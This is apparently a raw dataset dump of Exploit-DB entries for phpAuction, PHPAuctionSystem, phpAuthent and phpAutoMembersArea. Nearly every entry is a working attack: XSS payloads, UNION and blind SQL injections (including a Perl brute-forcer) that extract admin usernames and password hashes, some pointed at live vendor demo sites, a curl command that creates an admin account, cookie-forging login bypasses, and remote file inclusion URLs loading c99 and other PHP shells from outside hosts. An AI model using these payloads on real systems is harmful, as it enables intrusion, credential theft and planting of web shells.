deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10711
Description: phpAuction - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHPAUCTION Cross Site Scripting Vulnerability                           |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Copyright 2000-2009, PHPAUCTION.ORG                                     |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://localhost/phpauction/register.php?TPL_name=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&TPL_nick=indoushka&TPL_[CREDENTIAL_REDACTED].com&TPL_repeat_[CREDENTIAL_REDACTED].com&TPL_email=indoushka@hotmail.com
| 2- http://localhost/phpauction/register.php?TPL_name=indoushka&TPL_nick=1%3E%22%3E%3CScRiPt%20%0d%0a%3Ealert[PII_REDACTED]60)%3B%3C/ScRiPt%3E&TPL_[CREDENTIAL_REDACTED].com&TPL_repeat_[CREDENTIAL_REDACTED].com&TPL_email=indoushka@hotmail.com&TP
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #21590
Description: phpAuction 1/2 - Unauthorized Administrative Access
Type: webapps
Platform: php
Date: 2002-07-02
Author: ethx

Exploit:
source: https://www.securityfocus.com/bid/5141/info

PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.

Submitting authentication credentials via login.php will create the user account with adminsitrative permissions. 

curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test"
Exploit-DB #2100
Description: phpAuction 2.1 - 'phpAds_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-01
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ PHPAuction 2.1 Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: PHPAuction 2.1 (maybe higher)
+ Venedor ...........: http://www.phpauction.net,
+ Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /phpAdsNew/view.inc.php:
+
+ .....
+ // Include required files
+ require ("$phpAds_path/dblib.php");
+ require ("$phpAds_path/lib-expire.inc.php");
+ .....
+
+--------------------------------------------------------------------
+
+ $phpAds_path is not properly sanitized before being used.
+
+--------------------------------------------------------------------
+
+ Solution:
+ Declare $phpAds_path before using.
+
+--------------------------------------------------------------------
+ PoC:
+ Place a PHPShell on a remote location:
+ http://evilsite.com/dblib.php/index.html
+
+ http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/dblib.php/&cmd=ls
+
+--------------------------------------------------------------------
+
+ Greets:
+ Krini&Lenni
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-01]
Exploit-DB #25954
Description: phpAuction 2.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2005-07-07
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/14184/info

PHPAuction is affected by multiple remote vulnerabilities. These issues can allow an attacker to gain unauthorized access to a site and carry out SQL injection and cross-site scripting attacks.

PHPAuction 2.5 is reported to be affected by these issues. It is possible that other versions are vulnerable as well. 

SQL Injection:
/phpauction-gpl-2.5/adsearch.php?title=1&desc=on&closed=on&category='SQL_INJECTION&minprice=1&maxprice=1&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D=on&payment%5B%5D=
on&seller=1&country=Afghanistan&ending=1&SortProperty=ends&type=2&action=search&go=GO%20%3E%3E

/viewnews.php?id='SQL_INJECTION

Cross-site scripting:
/phpauction-gpl-2.5/index.php?lan=<script>alert(document.cookie)</script>

/phpauction-gpl-2.5/profile.php?user_id=158&auction_id=<script>alert(document.cookie)</script>

/phpauction-gpl-2.5/profile.php?auction_id=<script>alert(document.cookie)</script>&id=159

/phpauction-gpl-2.5/admin/index.php?lan=<script>alert(document.cookie)</script>

/login.php?username=<script>alert(document.cookie)</script>

/viewnews.php?id=<script>alert(document.cookie)</script>

Authentication bypass:

Set the cookie as follows:
Name: PHPAUCTION_RM_ID
VALUE: Id number of the user/admin you want to impersonate (you can get it from thier profile)
Exploit-DB #33204
Description: phpAuction 3.2 - 'lan' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-09-09
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/36211/info

phpAuction is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible.

phpAuction 3.2 is vulnerable; other versions may also be affected.

http://www.example.com/auction/index.php?lan=Evilshell
Exploit-DB #5892
Description: phpAuction 3.2.1 - 'item.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-21
Author: Hussin X

Exploit:
#########################################################
#
#    phpauction-gpl Version3.2 Version  SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#                                                       =
#    Home :  www.tryag.cc/cc                            =
#                                                       =
#    email:  darkangel_g85[at]Yahoo[DoT]com             =
#            hussin.x[at]hotmail[DoT]com                =
#                                                       =
#========================================================
#    HomE script : http://www.phpauction.net
#     
#    Demo : http://www.phpauction.net/phpauction-gpl-3.2/   
#    
#
#    DorK :  Copyright 2007, PHPAUCTION.NET
#
#      
##########################################################

Exploit:   


http://www.site.net/[Pats]/item.php?id=-1+%75%6E%69%6F%6E+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+%66%72%6F%6D+PHPAUCTIONXL_adminusers--



L!VE DEMO:

http://www.phpauction.net/phpauction-gpl-3.2/item.php?id=-1+%75%6E%69%6F%6E+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+%66%72%6F%6D+PHPAUCTIONXL_adminusers--


LogiN:

admin/index.php


################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      
#                Silic0n  / Rafi / FAHD / Iraqihack                            #       
#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-21]
Exploit-DB #6182
Description: phpAuction GPL Enhanced 2.51 - 'profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-01
Author: Hussin X

Exploit:
|___________________________________________________|
|
| PHPAuction GPL Enhanced V2.51 (profile.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://phpauctions.info/
|
| DorK   : /:)
|___________________________________________________|

Exploit:  



www.[target].com/Script/profile.php?id=-19+union+select+1,concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+PHPAUCTION_adminusers--


L!VE DEMO: :


http://phpauctions.info/phpauction/demo/profile.php?id=-19+union+select+1,concat(username,0x3e,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+FROM+PHPAUCTION_adminusers--


___________________

admin login :

www.[target].com/Script/admin/
___________________
password : md5
___________________


____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| CraCkEr | Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-08-01]
Exploit-DB #5266
Description: phpAuction GPL Enhanced 2.51 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-03-17
Author: RoMaNcYxHaCkEr

Exploit:
# Name : PHPauction GPL 2.51 Multiple Remote File Include Vulnerabilities

# Download From : http://www.johnrayfield.com/phpauction/phpauction-gpl-enhanced-251.zip

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , alwheed )        

# Home Page :  WwW.4RxH.CoM              

+============================================================================+

# Vulne Codes In Files converter.inc.php & messages.inc.php & settings.inc.php In Differnet Lines

# Exploits :

http://4RxH.CoM/auction/includes/converter.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/messages.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

http://4RxH.CoM/auction/includes/settings.inc.php?include_path=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+============================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HotMail.iT

# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake

RxH

Best Wishes

# milw0rm.com [2008-03-17]
Exploit-DB #35245
Description: PHPAuctions - 'viewfaqs.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-19
Author: h4ck3r

Exploit:
source: https://www.securityfocus.com/bid/45928/info

PHPAuctions is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/viewfaqs.php?cat=2 and substring(version(),1,1)=5
Exploit-DB #13892
Description: PHPAuctionSystem - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-16
Author: Sid3^effects

Exploit:
Name : PHPAuctionSystem Upload Vulnerability
Date : june, 16 2010
Vendor url :http://www.phpauctions.info/
Critical Level     : HIGH
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
 

PHPAuctionSystem had various vulnerablities which was found 


#######################################################################################################

Xploit:Upload Vulnerability

 Step 1: register as a user :)
 
 Step 2: goto "sell an item" option

 DEMO URL :http://[site]/select_category.php?

 Step 3: post ur evil-code in the item description 

 Step 4:check your item and ur evil script is executed and upload your shell and enjoy :P

 demo url :http://[site]/sell.php :)


###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7672
Description: PHPAuctionSystem - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-01-05
Author: x0r

Exploit:
#########################
#PHPAuctionSystem#
#########################
Author:x0r
Email:andry2000@hotmail.it
Cms:PhpAuctionSystemvnew
Cmsprice:$59.99
Demo:http://www.phpauctions.info/demo/
##########################

BugIn:\profile.php(Blind\Normal Sql Injection)

Exploit(Blind):
profile.php?user_id=29%20and%20substring(@@version,1,1)=5--

profile.php?user_id=29%20and%20substring(@@version,1,1)=4--
		profile.php?user_id=29and+1=0--
		profile.php?user_id=29and+1=1--
Perl Exploit:

#!/usr/bin/perl -w

      use strict;

      use LWP::Simple;

      my $a;

  my $host = "http://www.phpauctions.info/demo/profile.php?user_id="; #Put
the victim i've used the demo

      my @chars = (48..57, 97..102);

 
      for my $i(1..32) {

         foreach my $ord(@chars) {

       

         $a =
get($host."1+and+ascii(substring((select+password+from+PHPAUCTION_adminusers+where+id=10),$i,1))=$ord--");

       

         if($a =~ /coucou/i) {#put the username of the user_id=[id]

           syswrite(STDOUT,chr($ord));

           $i++;

           last;

          }

        }

      } 

Sql Injection: 
		
profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--		
			
		
Exploit(XSS):profile.php?user_id=29&auction_id=9[XssCode]

LiveDemo:http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=4--[False]
http://www.phpauctions.info/demo/profile.php?user_id=29and
substring(@@version,1,1)=5--[True]

LiveDemo(XSS):

http://www.phpauctions.info/demo/profile.php?user_id=29&auction_id=9<script>alert(1);</script>

Live Demo Sql:

http://www.phpauctions.info/demo/profile.php?user_id=-29%20union%20select%201,concat(id,char(58),username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20PHPAUCTION_adminusers--


Greetz:MyGirlfriend...

# milw0rm.com [2009-01-05]
Exploit-DB #7674
Description: PHPAuctionSystem - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-01-05
Author: ZoRLu

Exploit:
[~] PHPAuctionSystem Insecure Cookie Handling Vuln.
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 05.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

javascript:document.cookie = "PHPAUCTION_RM_ID=[ID]; path=/"; document.cookie = "PHPAUCTION_RM_NAME=[Real_name]; path=/"; document.cookie = "PHPAUCTION_RM_USERNAME=[User_name]; path=/"; "PHPAUCTION_RM_EMAIL=[email]; path=/";

exp for demo: ( username: sallama )

javascript:document.cookie = "PHPAUCTION_RM_ID=47; path=/"; document.cookie = "PHPAUCTION_RM_NAME=salla; path=/"; document.cookie = "PHPAUCTION_RM_USERNAME=sallama; path=/"; "PHPAUCTION_RM_EMAIL=trt-turk%40hotmail.com; path=/";


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-05]
Exploit-DB #33788
Description: PHPAuthent 0.2.1 - 'useradd.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-23
Author: Yoyahack

Exploit:
source: https://www.securityfocus.com/bid/38908/info


phpAuthent is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

phpAuthent 0.2.1 is vulnerable; other versions may also be affected.

# Exploit Title: phpAuthentAdmin  permanent XSS
# Date: 2010-03-21
# Author: Yoyahack
# Software Link: http://sourceforge.net/projects/phpauth/files/phpAuthent/phpAuthent%200.2.1/phpAuthent-0.2.1-20050828-116.zip/download
# Version: 0.2.1
# Tested on: linux
 
#Exploit:
 
#!/usr/bin/perl
#Autor: Yoyahack
#Web: http://undersecurity.net
#Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....
 
use LWP::UserAgent;
use HTTP::Request::Common;
 
#Source
 
print q(---------------------------------
Autor: Yoyahack
Web: http://undersecurity.net
Gretz: OzX, p0fk, S[e]C, ksha, seth, champloo, SH4V....
---------------------------------
);
 
if(!$ARGV[0]){
print "Insert web\n";
print "Ex: www.webpage.com<http://www.webpage.com>\n";
exit;
}
 
$xss = qq();
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.2pre)".
"Gecko/20100308 Ubuntu/9.10 (karmic) Namoroka/3.6.2pre");
 
$response = $ua->request(
   POST "http://$ARGV[0]/phpauthent/phpauthentadmin/useradd.php?action=create",
   {
   action => 'changerealname',
   name => $xss,
   action => 'rename',
   login => 'aaa',
   action=> 'password',
   password => 'XSS',
   action => 'changeemail',
   email => 'XSS',
   },
'Cookie' => 'PHPSESSID=cf1c170aa9d334d6cec1514e721573e6',
);
$loc = 'index.php?msg=001';
if($loc eq $response->header('location')){
print "\n\nExploit send!\n";
exit;
}
print "\n\nExploit Faield\n";
Exploit-DB #11801
Description: phpAuthent 0.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-18
Author: Gamoscu

Exploit:
phpAuthent 0.2.1 SQL Injection  Vulnerability
    
########################### 
    
Author    : Gamoscu
 
Homepage  : http://www.1923turk.com  

Blog      : http://gamoscu.wordpress.com/  

Script    : phpAuthent http://phpauth.sourceforge.net/

Download  : http://phpauth.sourceforge.net/download.php 
    
###########################   
      
[ Vulnerable File ] 
  
news_releases.php?nid= [ SQL ] 
       
  
[ XpL ] 
    
-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users

[ Demo] 

http://server/news_releases.php?nid=-1+union+select+1,2,3,username,password,6,7+from+phpauthent_users

[[[[  Devilboy  ]]]]

Mevzu Bahis Batan se Gerisi Teferuhattr!


1923Turk Ailesinin Kahraman Trk Askerlerine Ufak Bir Armagandr.
Unutulmasn Ki ehitler LMEZ... 

Aziz Trk Askeri Ve Gazi Mustafa Kemal ATATRK ' Saygyla Selamlyor. 

Minnet Borcumuzu Elimizden Gelldiince Gstermeye alyoruz... 

1923Turk-Grup Yonetimi 

Buras insanln sava yendii yer!.. Dnmeyi Dnmediler!... Kararghlarn kalplerimize tadlar

anakkale Zaferi, Trk askerinin ruh kudretini gsteren ayan hayret ve tebrik bir misaldir Emin olmalsnz ki, anakkale Muharebelerini kazandran bu yksek ruhtur 


Yonetmmz :

VatanAy | TurkishWarriorr | DJ_K_A_H_I_R | Palyo34 | BILGE_KAGAN

Ve Sayg Deger Personelimizle : 

@Adminturk | Dangerman DANGEROUS GHOST | EFE | mustocilin | -_CAH&#65533;T_ | AYPARS | BAYBORA | Devil_Boy | KaraKl | Cyber-DeLeT4r | Emre5807 | EneS_60 gamoscu | G&#65533;kT&#65533;rk | HaCkSpY | KroNicKq | LegendSemih | Alptugrul | ..TuGRa.. | Manas58 | SesSiz_TurK | Sipahi |Turk1923 | Devilofthe_King | Nofearx38 | K&#65533;l&#65533;&#65533; Arslan | Sancak_Pars | VatanTurk | XmgX | XxAy_Y&#65533;ld&#65533;zxX | G&#65533;k&#65533;eN | BozkuRTkIz caferi_kizi_25 | digitall | Turkic Brat | _al_bayragim_ | AtABeY | benrakdemir | Corti DeadLy | kripto | liseli asena | M.R.T | Malazgirt | Mehmet_51_ | meltemknk | NeFeNDuS | No_Fear | VatanTurk | vet_hekimi | Kenan Kalecikli


##############################################################   
# Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO   
##############################################################
Exploit-DB #2132
Description: phpAutoMembersArea 3.2.5 - 'installed_config_file' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ phpAutoMembersArea 3.2.5 ($installed_config_file) Remote File Inclusion
+
+--------------------------------------------------------------------
+
+ Affected Software .: phpAutoMembersArea 3.2.5
+ Venedor ...........: http://www.dwalker.co.uk
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Original advisory .: http://www.bb-pcsecurity.de/sicherheit_83.htm
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code auto_check_renewals.php (line 20):
+
+ .....
+ include($installed_config_file);:
+
+ .....
+
+--------------------------------------------------------------------
+
+ $installed_config_file is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Download the upgrade now:
+ http://www.dwalker.co.uk/phpautomembersarea/
+ See: http://dwalker.co.uk/forum/viewtopic.php?t=517
+
+--------------------------------------------------------------------
+
+ PoC:
+ http://[target]/auto_check_renewals.php?installed_config_file=http://evilsite.com?cmd=ls
+
+--------------------------------------------------------------------
+
+ Comment:
+ Thanks for the friendly and quick contact with the developer
+ David Walker.
+ Reported the vuln today at 10:04am -> patch available 4:47pm
+ -> ideal!!!!
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-07]